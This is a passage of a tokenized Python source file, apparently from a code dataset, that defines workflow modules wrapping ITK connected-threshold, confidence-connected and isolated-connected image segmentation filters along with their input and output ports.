"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "output", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Image", "\"_", ",_", "(_", "Image_", ",_", "'", "Output", " ", "Image", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "output", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Output", " ", "Pix", "el", "Type", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Connect", "ed", "Thresh", "old", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "\\u", "namespace_", "=_", "\"", "Filter", "|", "Segmentation", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ed", "Thresh", "old", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "compute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "im_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Image", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "input", " ", "Pix", "el", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "Pix", "el", "Type_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "Pix", "el", "Type_", "=_", "im_", "._", "get", "Pix", "el", "Type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "output", " ", "Pix", "el", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out", "Pix", "el", "Type_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out", "Pix", "el", "Type_", "=_", "in", "Pix", "el", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "dimension_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Dimen", "sion", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dim_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Dimen", "sion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dim_", "=_", "im_", "._", "get", "Dim_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "See", "d2", "D", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "seed_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "See", "d2", "D", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "seed_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "See", "d3", "D", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "replace_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Replace", " ", "Value", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "\\u", "lower_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Lower", " ", "Value", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "\\u", "upper_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Upp", "er", " ", "Value", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "setup", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "in", "Im", "g", "Type_", "=_", "itk", "_", "._", "Image_", "[_", "in", "Pix", "el", "Type_", "._", "\\u", "type_", ",_", "dim_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "g", "Type_", "=_", "itk", "_", "._", "Image_", "[_", "out", "Pix", "el", "Type_", "._", "\\u", "type_", ",_", "dim_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "=_", "itk", "_", "._", "Connect", "ed", "Thresh", "old", "Image", "Filter_", "[_", "in", "Im", "g", "Type_", ",_", "out", "Im", "g", "Type_", "]_", "._", "New_", "(_", "im_", "._", "get", "Img_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Seed_", "(_", "seed_", "._", "ind", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Replace", "Value_", "(_", "replace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Lower", "_", "(_", "t", "\\u", "lower_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Upp", "er_", "(_", "t", "\\u", "upper_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "setup", " ", "output", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "out", "Im", "_", "=_", "Image_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Img_", "(_", "self_", "._", "filter\\u_", "._", "Get", "Output_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Pix", "el", "Type_", "(_", "out", "Pix", "el", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Dim_", "(_", "dim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Output", " ", "Image", "\"_", ",_", "out", "Im", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "out", "Pix", "el", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ed", "Thresh", "old", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "register_", "(_", "cls_", ",_", "reg_", ",_", "basic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reg_", "._", "add", "\\u", "module_", "(_", "cls_", ",_", "name_", "=_", "\"", "Connect", "ed", " ", "Thresh", "old", " ", "Image", " ", "Filter", "\"_", ",_", "namespace_", "=_", "cls_", "._", "my", "\\u", "namespace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Inp", "ut", " ", "Image", "\"_", ",_", "(_", "Image_", ",_", "'", "Inp", "ut", " ", "Image", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Inp", "ut", " ", "Pix", "el", "Type", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Output", " ", "Pix", "el", "Type", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Dimen", "sion", "\"_", ",_", "(_", "basic_", "._", "Integer_", ",_", "'", "Dimen", "sion", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "See", "d2", "D", "\"_", ",_", "(_", "Index", "2", "D_", ",_", "'", "See", "d", " ", "Point", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "See", "d3", "D", "\"_", ",_", "(_", "Index", "3", "D_", ",_", "'", "See", "d", " ", "Point", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Replace", " ", "Value", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Replace", "ment", " ", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Upp", "er", " ", "Value", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Upp", "er", " ", "Thresh", "old", " ", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Lower", " ", "Value", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Lower", " ", "Thresh", "old", " ", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "output", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Image", "\"_", ",_", "(_", "Image_", ",_", "'", "Output", " ", "Image", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "output", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Output", " ", "Pix", "el", "Type", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Confi", "denc", "e", "Connect", "ed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "\\u", "namespace_", "=_", "\"", "Filter", "|", "Segmentation", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Confi", "denc", "e", "Connect", "ed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "compute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "im_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Image", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "input", " ", "Pix", "el", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "Pix", "el", "Type_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "Pix", "el", "Type_", "=_", "im_", "._", "get", "Pix", "el", "Type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "output", " ", "Pix", "el", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out", "Pix", "el", "Type_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out", "Pix", "el", "Type_", "=_", "in", "Pix", "el", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "dimension_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Dimen", "sion", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dim_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Dimen", "sion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dim_", "=_", "im_", "._", "get", "Dim_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "See", "d2", "D", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "seed_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "See", "d2", "D", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "seed_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "See", "d3", "D", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "replace_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Replace", " ", "Value", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "multiplier_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Multiplier", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iterations_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Iterations", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "radius_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Neighbor", "hood", " ", "Rad", "ius", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "setup", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "in", "Im", "g", "Type_", "=_", "itk", "_", "._", "Image_", "[_", "in", "Pix", "el", "Type_", "._", "\\u", "type_", ",_", "dim_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "g", "Type_", "=_", "itk", "_", "._", "Image_", "[_", "out", "Pix", "el", "Type_", "._", "\\u", "type_", ",_", "dim_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "=_", "itk", "_", "._", "Confi", "denc", "e", "Connect", "ed", "Image", "Filter_", "[_", "in", "Im", "g", "Type_", ",_", "out", "Im", "g", "Type_", "]_", "._", "New_", "(_", "im_", "._", "get", "Img_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Replace", "Value_", "(_", "replace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Multiplier", "_", "(_", "multiplier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Number", "Of", "Iterations", "_", "(_", "iterations_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Initial", "Neighbor", "hood", "Radius_", "(_", "radius_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Set", "Seed_", "(_", "seed_", "._", "ind", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "filter\\u_", "._", "Update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "setup", " ", "output", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "out", "Im", "_", "=_", "Image_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Img_", "(_", "self_", "._", "filter\\u_", "._", "Get", "Output_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Pix", "el", "Type_", "(_", "out", "Pix", "el", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Im", "_", "._", "set", "Dim_", "(_", "dim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Output", " ", "Image", "\"_", ",_", "out", "Im", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "out", "Pix", "el", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Confi", "denc", "e", "Connect", "ed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "register_", "(_", "cls_", ",_", "reg_", ",_", "basic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reg_", "._", "add", "\\u", "module_", "(_", "cls_", ",_", "name_", "=_", "\"", "Confi", "denc", "e", " ", "Connect", "ed", " ", "Image", " ", "Filter", "\"_", ",_", "namespace_", "=_", "cls_", "._", "my", "\\u", "namespace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Inp", "ut", " ", "Image", "\"_", ",_", "(_", "Image_", ",_", "'", "Inp", "ut", " ", "Image", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Inp", "ut", " ", "Pix", "el", "Type", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Output", " ", "Pix", "el", "Type", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Dimen", "sion", "\"_", ",_", "(_", "basic_", "._", "Integer_", ",_", "'", "Dimen", "sion", "'_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "See", "d2", "D", "\"_", ",_", "(_", "Index", "2", "D_", ",_", "'", "See", "d", " ", "Point", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "See", "d3", "D", "\"_", ",_", "(_", "Index", "3", "D_", ",_", "'", "See", "d", " ", "Point", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Replace", " ", "Value", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Replace", "ment", " ", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Multiplier", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Multiplier", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Iterations", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Iterations", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "input", "\\u", "port_", "(_", "cls_", ",_", "\"", "Neighbor", "hood", " ", "Rad", "ius", "\"_", ",_", "(_", "basic_", "._", "Float_", ",_", "'", "Neighbor", "hood", " ", "Rad", "ius", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reg_", "._", "add", "\\u", "output", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Image", "\"_", ",_", "(_", "Image_", ",_", "'", "Output", " ", "Image", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "._", "add", "\\u", "output", "\\u", "port_", "(_", "cls_", ",_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ",_", "(_", "Pix", "el", "Type_", ",_", "'", "Output", " ", "Pix", "el", "Type", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Isolat", "ed", "Connect", "ed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "\\u", "namespace_", "=_", "\"", "Filter", "|", "Segmentation", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Isolat", "ed", "Connect", "ed", "Image", "Filter_", "(_", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "compute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "im_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Image", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "check", " ", "for", " ", "input", " ", "Pix", "el", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "Pix", "el", "Type_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Inp", "ut", " ", "Pix", "el", "Type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "Pix", "el", "Type_", "=_", "im_", "._", "get", "Pix", "el", "Type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "output", " ", "Pix", "el", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out", "Pix", "el", "Type_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "\"", "Output", " ", "Pix", "el", "Type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out", "Pix", "el", "Type_", "=_", "in", "Pix", "el", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "for", " ", "dimension_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "\"", "Dimen", "sion", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dim_", "=_", "self_", "._", "get", 